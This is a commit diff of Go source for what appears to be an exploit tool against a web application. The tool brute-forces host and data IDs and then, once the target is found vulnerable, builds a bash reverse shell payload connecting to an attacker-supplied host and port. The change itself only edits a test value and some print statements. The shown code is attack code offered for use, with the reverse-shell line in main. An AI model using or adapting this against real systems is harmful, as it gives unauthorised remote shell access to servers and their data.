This commit is contained in:
Vomitblood 2025-01-24 10:26:40 +08:00
parent 8ece1eeaa4
commit 3e0bd05024

View file

@ -101,9 +101,9 @@ func bruteForcing(vulnURL string) (bool, int, int) {
} }
if buf.String() != "[]" { if buf.String() != "[]" {
rrdName := "mocked_value" rrdName := "asdf"
if rrdName == "polling_time" || rrdName == "uptime" { if rrdName == "polling_time" || rrdName == "uptime" {
fmt.Println("Bruteforce Success!!") fmt.Println("Bruteforce Success")
return true, n, n2 return true, n, n2
} }
} }
@ -144,6 +144,8 @@ func main() {
fmt.Println("Bruteforcing the host_id and local_data_ids") fmt.Println("Bruteforcing the host_id and local_data_ids")
isVuln, hostID, dataIDs := bruteForcing(vulnURL) isVuln, hostID, dataIDs := bruteForcing(vulnURL)
fmt.Println(isVuln, hostID, dataIDs)
if isVuln { if isVuln {
payload := fmt.Sprintf("bash -c 'bash -i >& /dev/tcp/%s/%s 0>&1'", lhost, lport) payload := fmt.Sprintf("bash -c 'bash -i >& /dev/tcp/%s/%s 0>&1'", lhost, lport)
reverseShell(payload, vulnURL, hostID, dataIDs) reverseShell(payload, vulnURL, hostID, dataIDs)